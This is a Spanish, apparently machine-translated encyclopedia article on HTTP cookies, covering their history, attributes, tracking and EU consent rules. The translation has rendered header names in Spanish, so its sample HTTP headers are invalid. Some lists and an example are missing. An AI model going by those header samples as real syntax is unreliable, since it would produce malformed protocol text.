Las cookies HTTP (también llamadas cookies web , cookies de Internet , cookies del navegador o simplemente cookies ) son pequeños bloques de datos creados por un servidor web mientras un usuario navega por un sitio web y colocados en la computadora del usuario u otro dispositivo por el navegador web del usuario . Las cookies se colocan en el dispositivo utilizado para acceder a un sitio web, y se puede colocar más de una cookie en el dispositivo de un usuario durante una sesión.
Las cookies cumplen funciones útiles y, a veces, esenciales en la web . Permiten a los servidores web almacenar información de estado (como artículos añadidos al carrito de la compra en una tienda online ) en el dispositivo del usuario o rastrear la actividad de navegación del usuario (incluido hacer clic en botones concretos, iniciar sesión o registrar qué páginas se visitaron en el pasado ). [1] También se pueden utilizar para guardar información que el usuario haya introducido previamente en campos de formulario , como nombres, direcciones, contraseñas y números de tarjetas de pago para su uso posterior.
Las cookies de autenticación son utilizadas comúnmente por los servidores web para autenticar que un usuario ha iniciado sesión y con qué cuenta ha iniciado sesión. Sin la cookie, los usuarios tendrían que autenticarse iniciando sesión en cada página que contenga información confidencial a la que deseen acceder. La seguridad de una cookie de autenticación generalmente depende de la seguridad del sitio web que la emite y del navegador web del usuario, y de si los datos de la cookie están encriptados . Las vulnerabilidades de seguridad pueden permitir que un atacante lea los datos de una cookie , los utilice para obtener acceso a los datos del usuario o para obtener acceso (con las credenciales del usuario) al sitio web al que pertenece la cookie (consulte los ejemplos de secuencias de comandos entre sitios y falsificación de solicitudes entre sitios ). [2]
Las cookies de seguimiento , y especialmente las cookies de seguimiento de terceros, se utilizan comúnmente como formas de compilar registros a largo plazo de los historiales de navegación de las personas , una posible preocupación por la privacidad que impulsó a los legisladores europeos [3] y estadounidenses a tomar medidas en 2011. [4] [5] La legislación europea exige que todos los sitios web dirigidos a los estados miembros de la Unión Europea obtengan el " consentimiento informado " de los usuarios antes de almacenar cookies no esenciales en sus dispositivos.
El término cookie fue acuñado por el programador de navegadores web Lou Montulli . Proviene del término cookie mágica , que es un paquete de datos que un programa recibe y envía de vuelta sin cambios, utilizado por los programadores de Unix . [6] [7]
Las cookies mágicas ya se utilizaban en informática cuando al programador de ordenadores Lou Montulli se le ocurrió la idea de utilizarlas en las comunicaciones web en junio de 1994. [8] En aquel momento, era empleado de Netscape Communications , que estaba desarrollando una aplicación de comercio electrónico para MCI . Vint Cerf y John Klensin representaron a MCI en las discusiones técnicas con Netscape Communications. MCI no quería que sus servidores tuvieran que conservar estados de transacciones parciales, lo que les llevó a pedir a Netscape que encontrara una forma de almacenar ese estado en el ordenador de cada usuario. Las cookies proporcionaron una solución al problema de implementar de forma fiable un carrito de la compra virtual . [9] [10]
Junto con John Giannandrea, Montulli escribió la especificación inicial de cookies de Netscape el mismo año. La versión 0.9beta de Mosaic Netscape , lanzada el 13 de octubre de 1994, [11] [12] admitía cookies. [10] El primer uso de cookies (fuera de los laboratorios) fue comprobar si los visitantes del sitio web de Netscape ya habían visitado el sitio. Montulli solicitó una patente para la tecnología de cookies en 1995, que se le concedió en 1998. [13] El soporte para cookies se integró con Internet Explorer en la versión 2, lanzada en octubre de 1995. [14]
En aquel momento, la introducción de las cookies no era muy conocida por el público. En particular, las cookies se aceptaban por defecto y los usuarios no eran notificados de su presencia. [15] El público se enteró de la existencia de las cookies después de que el Financial Times publicara un artículo sobre ellas el 12 de febrero de 1996. [16] Ese mismo año, las cookies recibieron mucha atención de los medios, especialmente debido a sus posibles implicaciones para la privacidad. Las cookies se analizaron en dos audiencias de la Comisión Federal de Comercio de Estados Unidos en 1996 y 1997. [2]
El desarrollo de las especificaciones formales de las cookies ya estaba en marcha. En particular, las primeras discusiones sobre una especificación formal comenzaron en abril de 1995 en la lista de correo www-talk . Se formó un grupo de trabajo especial dentro del Internet Engineering Task Force (IETF). Brian Behlendorf y David Kristol habían propuesto respectivamente dos propuestas alternativas para introducir el estado en las transacciones HTTP. Pero el grupo, encabezado por el propio Kristol y Lou Montulli, pronto decidió utilizar la especificación de Netscape como punto de partida. En febrero de 1996, el grupo de trabajo identificó las cookies de terceros como una amenaza considerable para la privacidad. La especificación producida por el grupo finalmente se publicó como RFC 2109 en febrero de 1997. Especifica que las cookies de terceros no estaban permitidas en absoluto, o al menos no estaban habilitadas por defecto. [17] En ese momento, las empresas de publicidad ya utilizaban cookies de terceros. La recomendación sobre las cookies de terceros de RFC 2109 no fue seguida por Netscape e Internet Explorer. El RFC 2109 fue reemplazado por el RFC 2965 en octubre de 2000.
RFC 2965 agregó un Set-Cookie2 campo de encabezado , que informalmente pasó a llamarse "cookies de estilo RFC 2965" en oposición al Set-Cookiecampo de encabezado original que se llamaba "cookies de estilo Netscape". [18] [19] Set-Cookie2 Sin embargo, rara vez se usó y quedó obsoleto en RFC 6265 en abril de 2011, que se escribió como una especificación definitiva para las cookies tal como se usan en el mundo real. [20] Ningún navegador moderno reconoce el Set-Cookie2campo de encabezado. [21]
Una cookie de sesión (también conocida como cookie en memoria , cookie transitoria o cookie no persistente ) existe solo en la memoria temporal mientras el usuario navega por un sitio web. [22] Las cookies de sesión expiran o se eliminan cuando el usuario cierra el navegador web. [23] Las cookies de sesión son identificadas por el navegador por la ausencia de una fecha de expiración asignada a ellas.
Una cookie persistente caduca en una fecha determinada o después de un período de tiempo determinado. Durante el período de vida de la cookie persistente establecido por su creador, su información se transmitirá al servidor cada vez que el usuario visite el sitio web al que pertenece o cada vez que el usuario visualice un recurso perteneciente a ese sitio web desde otro sitio web (por ejemplo, un anuncio).
Por este motivo, las cookies persistentes se denominan a veces cookies de seguimiento [24] [25], ya que los anunciantes pueden utilizarlas para registrar información sobre los hábitos de navegación web de un usuario durante un período prolongado. Las cookies persistentes también se utilizan por motivos como mantener a los usuarios conectados a sus cuentas en los sitios web, para evitar que vuelvan a introducir las credenciales de inicio de sesión en cada visita.
Una cookie segura solo se puede transmitir a través de una conexión cifrada (es decir, HTTPS ). No se pueden transmitir a través de conexiones no cifradas (es decir, HTTP ). Esto hace que sea menos probable que la cookie quede expuesta al robo de cookies a través de escuchas clandestinas . Una cookie se vuelve segura al agregarle la Securebandera.
Las API del lado del cliente, como JavaScript , no pueden acceder a una cookie de solo http . Esta restricción elimina la amenaza del robo de cookies mediante secuencias de comandos entre sitios (XSS). [26] Sin embargo, la cookie sigue siendo vulnerable a los ataques de rastreo entre sitios (XST) y falsificación de solicitudes entre sitios (CSRF). A una cookie se le otorga esta característica al agregarle la bandera.HttpOnly
En 2016, la versión 51 de Google Chrome introdujo [27] un nuevo tipo de cookie con el atributo SameSitecon valores posibles de Strict, Laxo None. [28] Con el atributo SameSite=Strict, los navegadores solo enviarían cookies a un dominio de destino que sea el mismo que el dominio de origen. Esto mitigaría de manera efectiva los ataques de falsificación de solicitud entre sitios (CSRF). [29] Con SameSite=Lax, los navegadores enviarían cookies con solicitudes a un dominio de destino incluso si es diferente del dominio de origen, pero solo para solicitudes seguras como GET (POST no es seguro) y no cookies de terceros (dentro de iframe). El atributo SameSite=Nonepermitiría cookies de terceros (entre sitios), sin embargo, la mayoría de los navegadores requieren un atributo seguro en las cookies SameSite=None. [30]
La cookie del mismo sitio se incorpora a un nuevo borrador de RFC para "Cookies: mecanismo de gestión del estado HTTP" [31] para actualizar el RFC 6265 (si se aprueba).
Chrome, Firefox y Edge comenzaron a admitir cookies del mismo sitio. [32] La clave de la implementación es el tratamiento de las cookies existentes sin el atributo SameSite definido; Chrome ha estado tratando esas cookies existentes como si SameSite=None, lo que permitiría que todos los sitios web/aplicaciones se ejecutaran como antes. Google tenía la intención de cambiar ese valor predeterminado SameSite=Laxen Chrome 80, cuyo lanzamiento está previsto para febrero de 2020, [33] pero debido a la posibilidad de que se rompan las aplicaciones/sitios web que dependen de cookies de terceros/entre sitios y las circunstancias de COVID-19 , Google pospuso este cambio a Chrome 84. [34] [35]
Una supercookie es una cookie cuyo origen es un dominio de nivel superior (como .com) o un sufijo público (como .co.uk). Las cookies comunes, por el contrario, tienen su origen en un nombre de dominio específico, como example.com.
Las supercookies pueden ser un problema de seguridad potencial y, por lo tanto, los navegadores web suelen bloquearlas. Si el navegador las desbloquea, un atacante que controle un sitio web malicioso podría configurar una supercookie y potencialmente interrumpir o suplantar solicitudes legítimas de usuarios a otro sitio web que comparta el mismo dominio de nivel superior o sufijo público que el sitio web malicioso. Por ejemplo, una supercookie con un origen de .com, podría afectar maliciosamente una solicitud realizada a example.com, incluso si la cookie no se originó en example.com. Esto se puede utilizar para falsificar inicios de sesión o cambiar la información del usuario.
La lista pública de sufijos [36] ayuda a mitigar el riesgo que suponen las supercookies. La lista pública de sufijos es una iniciativa de varios proveedores que tiene como objetivo proporcionar una lista precisa y actualizada de sufijos de nombres de dominio. Es posible que las versiones anteriores de los navegadores no tengan una lista actualizada y, por lo tanto, sean vulnerables a las supercookies de ciertos dominios.
El término supercookie se utiliza a veces para referirse a tecnologías de seguimiento que no dependen de cookies HTTP. En agosto de 2011, se encontraron dos de estos mecanismos de supercookie en los sitios web de Microsoft: la sincronización de cookies que generaba cookies MUID (identificador único de la máquina) y las cookies ETag . [37] Debido a la atención de los medios, Microsoft deshabilitó posteriormente este código. [38] En una publicación de blog de 2021, Mozilla utilizó el término supercookie para referirse al uso de la memoria caché del navegador como medio para rastrear a los usuarios en los sitios. [39]
Una cookie zombie es un dato y código que ha sido colocado por un servidor web en la computadora u otro dispositivo de un visitante en una ubicación oculta fuera de la ubicación de almacenamiento de cookies dedicada del navegador web del visitante , y que recrea automáticamente una cookie HTTP como una cookie normal después de que la cookie original haya sido eliminada. La cookie zombie puede almacenarse en múltiples ubicaciones, como Flash Local shared object , HTML5 Web storage y otras ubicaciones del lado del cliente e incluso del lado del servidor, y cuando se detecta la ausencia en una de las ubicaciones, la instancia faltante es recreada por el código JavaScript utilizando los datos almacenados en otras ubicaciones. [40] [41]
Aparece un muro de cookies en un sitio web que informa al usuario sobre el uso de cookies del sitio web. No tiene opción de rechazarlo y el sitio web no es accesible sin cookies de seguimiento.
Una cookie consta de los siguientes componentes: [42] [43] [44]
Securey HttpOnly).Las cookies se introdujeron originalmente para proporcionar a los usuarios una forma de registrar los artículos que desean comprar mientras navegan por un sitio web (un carrito de compras virtual o una cesta de la compra ). [9] [10] Sin embargo, hoy en día, el contenido del carrito de la compra de un usuario suele almacenarse en una base de datos en el servidor, en lugar de en una cookie en el cliente. Para realizar un seguimiento de qué usuario está asignado a qué carrito de la compra, el servidor envía una cookie al cliente que contiene un identificador de sesión único (normalmente, una larga cadena de letras y números aleatorios). Debido a que las cookies se envían al servidor con cada solicitud que realiza el cliente, ese identificador de sesión se enviará de vuelta al servidor cada vez que el usuario visite una nueva página en el sitio web, lo que permite al servidor saber qué carrito de la compra mostrar al usuario.
Otro uso popular de las cookies es el de iniciar sesión en sitios web. Cuando el usuario visita la página de inicio de sesión de un sitio web, el servidor web normalmente envía al cliente una cookie que contiene un identificador de sesión único. Cuando el usuario inicia sesión correctamente, el servidor recuerda que ese identificador de sesión en particular ha sido autenticado y le otorga al usuario acceso a sus servicios.
Dado que las cookies de sesión solo contienen un identificador de sesión único, la cantidad de información personal que un sitio web puede guardar sobre cada usuario es prácticamente ilimitada: el sitio web no está limitado por restricciones sobre el tamaño que puede tener una cookie. Las cookies de sesión también ayudan a mejorar los tiempos de carga de las páginas, ya que la cantidad de información en una cookie de sesión es pequeña y requiere poco ancho de banda.
Las cookies se pueden utilizar para recordar información sobre el usuario con el fin de mostrarle contenido relevante a lo largo del tiempo. Por ejemplo, un servidor web puede enviar una cookie que contenga el nombre de usuario que se utilizó por última vez para iniciar sesión en un sitio web, de modo que se rellene automáticamente la próxima vez que el usuario inicie sesión.
Muchos sitios web utilizan cookies para personalizar la página en función de las preferencias del usuario. Los usuarios seleccionan sus preferencias introduciéndolas en un formulario web y enviándolo al servidor. El servidor codifica las preferencias en una cookie y la envía de vuelta al navegador. De esta forma, cada vez que el usuario accede a una página del sitio web, el servidor puede personalizar la página según las preferencias del usuario. Por ejemplo, el buscador Google utilizaba cookies para permitir a los usuarios (incluso a los no registrados) decidir cuántos resultados de búsqueda por página querían ver. Además, DuckDuckGo utiliza cookies para permitir a los usuarios configurar las preferencias de visualización, como los colores de la página web.
Las cookies de seguimiento se utilizan para rastrear los hábitos de navegación de los usuarios en la web. Esto también se puede hacer en cierta medida utilizando la dirección IP del ordenador que solicita la página o el campo de referencia del encabezado de la solicitud HTTP , pero las cookies permiten una mayor precisión. Esto se puede demostrar de la siguiente manera:
Al analizar este archivo de registro, es posible saber qué páginas ha visitado el usuario, en qué secuencia y durante cuánto tiempo.
Las empresas explotan los hábitos de navegación de los usuarios mediante cookies de seguimiento para recopilar información sobre sus hábitos de compra. El Wall Street Journal descubrió que los cincuenta sitios web más importantes de Estados Unidos instalaron una media de sesenta y cuatro dispositivos de seguimiento en sus ordenadores, lo que dio lugar a un total de 3.180 archivos de seguimiento. [45] Los datos pueden luego recopilarse y venderse a empresas que postulen.
Las cookies son fragmentos de datos arbitrarios, generalmente seleccionados y enviados primero por el servidor web, y almacenados en la computadora del cliente por el navegador web. Luego, el navegador los envía de vuelta al servidor con cada solicitud, introduciendo estados (memoria de eventos anteriores) en transacciones HTTP que de otro modo no tendrían estado. Sin cookies, cada recuperación de una página web o componente de una página web sería un evento aislado, en gran medida sin relación con todas las demás páginas vistas por el usuario en el sitio web. Aunque las cookies generalmente las establece el servidor web, también pueden establecerlas el cliente mediante un lenguaje de script como JavaScript (a menos que se establezca el indicador de la cookie HttpOnly, en cuyo caso la cookie no puede modificarse mediante lenguajes de script).
Las especificaciones de cookies [46] [47] requieren que los navegadores cumplan los siguientes requisitos para admitir cookies:
Las cookies se configuran mediante el Set-Cookie campo de encabezado que se envía en una respuesta HTTP desde el servidor web. Este campo de encabezado indica al navegador web que almacene la cookie y la envíe de vuelta en futuras solicitudes al servidor (el navegador ignorará este campo de encabezado si no admite cookies o las ha deshabilitado).
A modo de ejemplo, el navegador envía su primera solicitud HTTP a la página de inicio del www.example.orgsitio web:
GET /index.html HTTP / 1.1 Host : www.example.org ...El servidor responde con dos Set-Cookiecampos de encabezado:
HTTP / 1.0 200 OK Tipo de contenido : texto/html Establecer cookie : tema=light Establecer cookie : sessionToken=abc123; Caduca=mié, 09 jun 2021 10:18:14 GMT ...La respuesta HTTP del servidor contiene el contenido de la página de inicio del sitio web, pero también indica al navegador que configure dos cookies. La primera, theme , se considera una cookie de sesión, ya que no tiene un atributo Expiresor Max-Age. Las cookies de sesión están destinadas a ser eliminadas por el navegador cuando este se cierra. La segunda, sessionToken , se considera una cookie persistente , ya que contiene un Expiresatributo que indica al navegador que elimine la cookie en una fecha y hora específicas.
A continuación, el navegador envía otra solicitud para visitar la spec.htmlpágina del sitio web. Esta solicitud contiene un Cookiecampo de encabezado que contiene las dos cookies que el servidor le indicó al navegador que estableciera:
GET /spec.html HTTP / 1.1 Host : www.example.org Cookie : theme=light; sessionToken=abc123 …De esta manera, el servidor sabe que esta solicitud HTTP está relacionada con la anterior. El servidor respondería enviando la página solicitada, posiblemente incluyendo más Set-Cookiecampos de encabezado en la respuesta HTTP para indicarle al navegador que agregue nuevas cookies, modifique las cookies existentes o elimine las existentes. Para eliminar una cookie, el servidor debe incluir un Set-Cookiecampo de encabezado con una fecha de vencimiento en el pasado.
El valor de una cookie puede consistir en cualquier carácter ASCII imprimible ( !hasta ~, Unicode \u0021 hasta \u007E) excluyendo ,y ;y los caracteres de espacio en blanco . El nombre de una cookie excluye los mismos caracteres, así como =, ya que es el delimitador entre el nombre y el valor. El estándar de cookies RFC 2965 es más restrictivo, pero los navegadores no lo implementan.
El término miga de galleta se utiliza a veces para referirse al par nombre-valor de una galleta. [48]
Las cookies también pueden ser instaladas por lenguajes de programación como JavaScript que se ejecutan dentro del navegador. En JavaScript, el objeto document.cookiese utiliza para este propósito. Por ejemplo, la instrucción document.cookie = "temperature=20"crea una cookie con el nombre temperature y el valor 20. [49 ]
Además de un nombre y un valor, las cookies también pueden tener uno o más atributos. Los navegadores no incluyen atributos de cookies en las solicitudes al servidor, solo envían el nombre y el valor de la cookie. Los navegadores utilizan los atributos de cookies para determinar cuándo eliminar una cookie, bloquearla o enviarla al servidor.
Los atributos Domainy Pathdefinen el alcance de la cookie. Básicamente, le indican al navegador a qué sitio web pertenece la cookie. Por razones de seguridad, las cookies solo se pueden configurar en el dominio principal del recurso actual y sus subdominios, y no para otro dominio y sus subdominios. Por ejemplo, el sitio web example.orgno puede configurar una cookie que tenga un dominio de foo.comporque esto le permitiría example.orgcontrolar las cookies del dominio foo.com.
DomainSi el servidor no especifica los atributos de una cookie Path, estos se establecen de forma predeterminada en el dominio y la ruta del recurso que se solicitó. [50] Sin embargo, en la mayoría de los navegadores existe una diferencia entre una cookie configurada desde foo.comsin un dominio y una cookie configurada con el foo.comdominio. En el primer caso, la cookie solo se enviará para solicitudes a foo.com, también conocida como cookie solo de host. En el último caso, también se incluyen todos los subdominios (por ejemplo, docs.foo.com). [51] [52] Una excepción notable a esta regla general es Edge antes de Windows 10 RS3 e Internet Explorer antes de IE 11 y Windows 10 RS4 (abril de 2018), que siempre envía cookies a subdominios independientemente de si la cookie se configuró con o sin un dominio. [53]
A continuación se muestra un ejemplo de algunos Set-Cookiecampos de encabezado en la respuesta HTTP de un sitio web después de que un usuario inició sesión. La solicitud HTTP se envió a una página web dentro del docs.foo.comsubdominio:
HTTP / 1.0 200 OK Establecer cookie : LSID=DQAAAK…Eaem_vYg; Ruta=/accounts; Caduca=miércoles, 13 de enero de 2021 22:23:01 GMT; Seguro; Solo HTTP Establecer cookie : HSID=AYQEVn…DKrdst; Dominio=.foo.com; Ruta=/; Caduca=miércoles, 13 de enero de 2021 22:23:01 GMT; Solo HTTP Establecer cookie : SSID=Ap4P…GTEq; Dominio=foo.com; Ruta=/; Caduca=miércoles, 13 de enero de 2021 22:23:01 GMT; Seguro; Solo HTTP …La primera cookie, LSID, no tiene ningún Domainatributo y tiene un Pathatributo establecido en /accounts. Esto le indica al navegador que use la cookie solo cuando solicite páginas contenidas en docs.foo.com/accounts(el dominio se deriva del dominio de solicitud). Las otras dos cookies, HSIDy SSID, se usarían cuando el navegador solicite cualquier subdominio en .foo.comen cualquier ruta (por ejemplo www.foo.com/bar). El punto inicial es opcional en los estándares recientes, pero se puede agregar para compatibilidad con implementaciones basadas en RFC 2109. [54]
El Expiresatributo define una fecha y hora específicas en las que el navegador debe eliminar la cookie. La fecha y la hora se especifican en el formato Wdy, DD Mon YYYY HH:MM:SS GMT, o en el formato Wdy, DD Mon YY HH:MM:SS GMTpara valores de YY donde YY es mayor o igual a 0 y menor o igual a 69. [55]
Como alternativa, el Max-Ageatributo se puede utilizar para establecer la expiración de la cookie como un intervalo de segundos en el futuro, en relación con el momento en que el navegador recibió la cookie. A continuación, se muestra un ejemplo de tres Set-Cookiecampos de encabezado que se recibieron de un sitio web después de que un usuario iniciara sesión:
HTTP / 1.0 200 OK Establecer cookie : lu=Rg3vHJZnehYLjVg7qi3bZjzg; Caduca=mar., 15 ene. 2013 21:47:38 GMT; Ruta=/; Dominio=.example.com; HttpOnly Establecer cookie : made_write_conn=1295214458; Ruta=/; Dominio=.example.com Establecer cookie : reg_fb_gate=eliminado; Caduca=jue., 01 ene. 1970 00:00:01 GMT; Ruta=/; Dominio=.example.com; HttpOnlyLa primera cookie, lu, está programada para expirar en algún momento el 15 de enero de 2013. El navegador del cliente la utilizará hasta esa fecha. La segunda cookie, made_write_conn, no tiene fecha de expiración, por lo que es una cookie de sesión. Se eliminará después de que el usuario cierre su navegador. La tercera cookie, reg_fb_gate, tiene su valor cambiado a eliminado , con una fecha de expiración en el pasado. El navegador eliminará esta cookie de inmediato porque su fecha de expiración es en el pasado. Tenga en cuenta que la cookie solo se eliminará si los atributos de dominio y ruta en el Set-Cookiecampo coinciden con los valores utilizados cuando se creó la cookie.
A partir de 2016, [actualizar]Internet Explorer no es compatible Max-Age. [56] [57]
Los atributos Securey HttpOnlyno tienen valores asociados. En cambio, la presencia de sus nombres de atributo indica que sus comportamientos deberían estar habilitados.
El Secureatributo tiene como objetivo limitar la comunicación de las cookies a una transmisión cifrada, indicando a los navegadores que utilicen cookies solo a través de conexiones seguras o cifradas . Sin embargo, si un servidor web configura una cookie con un atributo seguro desde una conexión no segura, la cookie puede ser interceptada cuando se envía al usuario mediante ataques de intermediario . Por lo tanto, para lograr la máxima seguridad, las cookies con el atributo Secure solo deben configurarse a través de una conexión segura.
El HttpOnlyatributo indica a los navegadores que no expongan las cookies a través de canales distintos de las solicitudes HTTP (y HTTPS). Esto significa que no se puede acceder a la cookie a través de lenguajes de programación del lado del cliente (en particular, JavaScript ) y, por lo tanto, no se puede robar fácilmente a través de secuencias de comandos entre sitios (una técnica de ataque generalizada). [58]
La mayoría de los navegadores modernos admiten cookies y permiten al usuario desactivarlas. Las siguientes son opciones comunes: [59]
También existen herramientas complementarias para gestionar los permisos de las cookies. [60] [61] [62] [63]
Las cookies tienen algunas implicaciones importantes para la privacidad y el anonimato de los usuarios de Internet. Si bien las cookies se envían únicamente al servidor que las configura o a un servidor en el mismo dominio de Internet, una página web puede contener imágenes u otros componentes almacenados en servidores de otros dominios. Las cookies que se configuran durante la recuperación de estos componentes se denominan cookies de terceros . Una cookie de terceros pertenece a un dominio diferente del que se muestra en la barra de direcciones. Este tipo de cookies suele aparecer cuando las páginas web presentan contenido de sitios web externos, como anuncios publicitarios . Esto abre la posibilidad de rastrear el historial de navegación del usuario y los anunciantes lo utilizan para mostrar anuncios relevantes a cada usuario.
A modo de ejemplo, supongamos que un usuario visita www.example.org. Este sitio web contiene un anuncio de ad.foxytracking.com, que, al descargarse, establece una cookie que pertenece al dominio del anuncio ( ad.foxytracking.com). A continuación, el usuario visita otro sitio web, www.foo.com, que también contiene un anuncio de ad.foxytracking.comy establece una cookie que pertenece a ese dominio ( ad.foxytracking.com). Finalmente, ambas cookies se enviarán al anunciante al cargar sus anuncios o visitar su sitio web. El anunciante puede utilizar estas cookies para crear un historial de navegación del usuario en todos los sitios web que tienen anuncios de este anunciante, mediante el uso del campo de encabezado de referencia HTTP .
A partir de 2014 [actualizar], algunos sitios web configuraban cookies legibles para más de 100 dominios de terceros. [64] En promedio, un solo sitio web configuraba 10 cookies, con un número máximo de cookies (propias y de terceros) que alcanzaba más de 800. [65]
Los estándares más antiguos para cookies, RFC 2109 [17] y RFC 2965, recomiendan que los navegadores protejan la privacidad del usuario y no permitan compartir cookies entre servidores de forma predeterminada. Sin embargo, el estándar más nuevo, RFC 6265, permite explícitamente a los agentes de usuario implementar cualquier política de cookies de terceros que deseen. La mayoría de los navegadores web modernos contienen configuraciones de privacidad que pueden bloquear las cookies de terceros. Desde 2020, Apple Safari , [66] Firefox , [67] y Brave [68] bloquean todas las cookies de terceros de forma predeterminada. Safari permite que los sitios integrados utilicen la API de acceso al almacenamiento para solicitar permiso para configurar cookies de origen. En mayo de 2020, Google Chrome 83 introdujo nuevas funciones para bloquear las cookies de terceros de forma predeterminada en su modo de incógnito para la navegación privada, lo que hace que el bloqueo sea opcional durante la navegación normal. La misma actualización también agregó una opción para bloquear las cookies de origen. [69] En abril de 2024, Chrome pospuso el bloqueo de cookies de terceros de forma predeterminada hasta 2025. [70] En julio de 2024, Google anunció un plan para evitar el bloqueo de cookies de terceros de forma predeterminada y, en su lugar, solicitar a los usuarios que permitan las cookies de terceros. [71]
La posibilidad de crear un perfil de los usuarios supone una amenaza para la privacidad, especialmente cuando el seguimiento se realiza en varios dominios mediante cookies de terceros. Por este motivo, algunos países cuentan con legislación sobre cookies.
Los operadores de sitios web que no revelan a los consumidores el uso de cookies de terceros corren el riesgo de dañar la confianza de los consumidores si se descubre el uso de cookies. Una divulgación clara (por ejemplo, en una política de privacidad ) tiende a eliminar cualquier efecto negativo de dicho descubrimiento de cookies. [72] [ verificación fallida ]
El gobierno de los Estados Unidos estableció reglas estrictas sobre la instalación de cookies en el año 2000, después de que se revelara que la oficina de política de drogas de la Casa Blanca utilizaba cookies para rastrear a los usuarios de computadoras que veían su publicidad antidrogas en línea. En 2002, el activista de la privacidad Daniel Brandt descubrió que la CIA había estado dejando cookies persistentes en las computadoras que habían visitado su sitio web. Cuando se le notificó que estaba violando la política, la CIA declaró que estas cookies no se habían instalado intencionalmente y dejó de instalarlas. El 25 de diciembre de 2005, Brandt descubrió que la Agencia de Seguridad Nacional (NSA) había estado dejando dos cookies persistentes en las computadoras de los visitantes debido a una actualización de software. Después de ser informada, la NSA desactivó inmediatamente las cookies. [73]
En 2002, la Unión Europea puso en marcha la Directiva sobre privacidad y comunicaciones electrónicas (Directiva e-Privacy), una política que exige el consentimiento de los usuarios finales para la colocación de cookies y tecnologías similares para almacenar y acceder a información en el equipo de los usuarios. [74] [75] En particular, el artículo 5, párrafo 3, establece que el almacenamiento de datos técnicamente innecesarios en el ordenador de un usuario sólo puede realizarse si se proporciona al usuario información sobre cómo se utilizan esos datos y se le da la posibilidad de denegar esta operación de almacenamiento. La Directiva no exige que los usuarios autoricen o se les notifique el uso de cookies que son funcionalmente necesarias para la prestación de un servicio que han solicitado, por ejemplo para conservar configuraciones, almacenar sesiones de inicio de sesión o recordar lo que hay en la cesta de la compra de un usuario. [76]
En 2009, la ley fue modificada por la Directiva 2009/136/CE, que incluyó un cambio en el Artículo 5, Párrafo 3. En lugar de tener una opción para que los usuarios opten por no almacenar cookies, la Directiva revisada requiere que se obtenga el consentimiento para el almacenamiento de cookies. [75] La definición de consentimiento se hace referencia cruzada a la definición en la ley europea de protección de datos, primero la Directiva de Protección de Datos de 1995 y posteriormente el Reglamento General de Protección de Datos (GDPR). Como la definición de consentimiento se fortaleció en el texto del GDPR, esto tuvo el efecto de aumentar la calidad del consentimiento requerido por aquellos que almacenan y acceden a información como las cookies en los dispositivos de los usuarios. Sin embargo, en un caso decidido bajo la Directiva de Protección de Datos, el Tribunal de Justicia de la Unión Europea confirmó más tarde que la ley anterior implicaba la misma calidad sólida de consentimiento que el instrumento actual. [77] Además del requisito de consentimiento que se deriva del almacenamiento o acceso a información en el dispositivo terminal de un usuario, la información contenida en muchas cookies se considerará datos personales únicamente en virtud del RGPD, y requerirá una base jurídica para su procesamiento. Esto ha sido así desde la Directiva de Protección de Datos de 1995, que utilizó una definición idéntica de datos personales, aunque el RGPD en el considerando interpretativo 30 aclara que se incluyen los identificadores de las cookies. Si bien no todo el procesamiento de datos en virtud del RGPD requiere consentimiento, las características de la publicidad conductual significan que es difícil o imposible justificarlo con cualquier otro motivo. [78] [79]
El consentimiento en virtud de la combinación del RGPD y la Directiva sobre privacidad electrónica debe cumplir una serie de condiciones en relación con las cookies. [80] Debe darse libremente y sin ambigüedades: las casillas premarcadas se prohibieron tanto en virtud de la Directiva de protección de datos de 1995 [77] como del RGPD (considerando 32). [81] El RGPD es específico en cuanto a que el consentimiento debe ser tan "fácil de retirar como de dar", [81] lo que significa que un botón de rechazar todo debe ser tan fácil de acceder en términos de clics y visibilidad como un botón de "aceptar todo". [80] Debe ser específico e informado, lo que significa que el consentimiento se relaciona con fines particulares para el uso de estos datos, y todas las organizaciones que buscan usar este consentimiento deben ser nombradas específicamente. [82] [83] El Tribunal de Justicia de la Unión Europea también ha dictaminado que el consentimiento debe ser "eficiente y oportuno", lo que significa que debe obtenerse antes de que se coloquen las cookies y comience el procesamiento de datos en lugar de después. [84]
La respuesta de la industria ha sido en gran medida negativa. Robert Bond, del bufete de abogados Speechly Bircham, describe los efectos como "de gran alcance e increíblemente onerosos" para "todas las empresas del Reino Unido". Simon Davis, de Privacy International, sostiene que una aplicación adecuada "destruiría toda la industria". [85] Sin embargo, los académicos señalan que la naturaleza onerosa de las ventanas emergentes de cookies se deriva de un intento de seguir operando un modelo de negocio a través de solicitudes enrevesadas que pueden ser incompatibles con el RGPD. [78]
Tanto los estudios académicos como los reguladores describen un incumplimiento generalizado de la ley. Un estudio que analizó 10 000 sitios web del Reino Unido descubrió que solo el 11,8 % de los sitios cumplían con los requisitos legales mínimos, y solo el 33,4 % de los sitios web estudiados proporcionaban un mecanismo para rechazar las cookies que fuera tan fácil de usar como aceptarlas. [80] Un estudio de 17 000 sitios web descubrió que el 84 % de los sitios incumplían este criterio y, además, muchos instalaban cookies de terceros sin previo aviso. [86] El regulador del Reino Unido, la Oficina del Comisionado de Información , declaró en 2019 que el "Marco de transparencia y consentimiento" de la industria del grupo de tecnología publicitaria Interactive Advertising Bureau era "insuficiente para garantizar la transparencia y el procesamiento justo de los datos personales en cuestión y, por lo tanto, también insuficiente para proporcionar un consentimiento libre e informado, con las consiguientes implicaciones para el cumplimiento de PECR [e-Privacy]". [82] Muchas empresas que venden soluciones de cumplimiento (plataformas de gestión de consentimiento) permiten que se configuren de formas manifiestamente ilegales, lo que, según han señalado los investigadores, genera preguntas en torno a la asignación adecuada de responsabilidad. [87]
Se propuso una especificación del W3C llamada P3P para que los servidores comuniquen su política de privacidad a los navegadores, lo que permite un manejo automático y configurable por el usuario. Sin embargo, pocos sitios web implementan la especificación y el W3C ha dejado de trabajar en ella. [88]
La mayoría de los navegadores pueden bloquear las cookies de terceros para aumentar la privacidad y reducir el seguimiento por parte de las empresas de publicidad y seguimiento sin afectar negativamente la experiencia web del usuario en todos los sitios. Algunos sitios operan "muros de cookies", que condicionan el acceso a un sitio a la aceptación de las cookies, ya sea técnicamente en un navegador, presionando "aceptar", o ambas cosas. [89] En 2020, el Comité Europeo de Protección de Datos , compuesto por todos los reguladores de protección de datos de la UE, declaró que los muros de cookies eran ilegales.
Para que el consentimiento se dé libremente, el acceso a los servicios y funcionalidades no debe estar condicionado al consentimiento del usuario para el almacenamiento de información o el acceso a información ya almacenada en el equipo terminal del usuario (los llamados muros de cookies). [90]
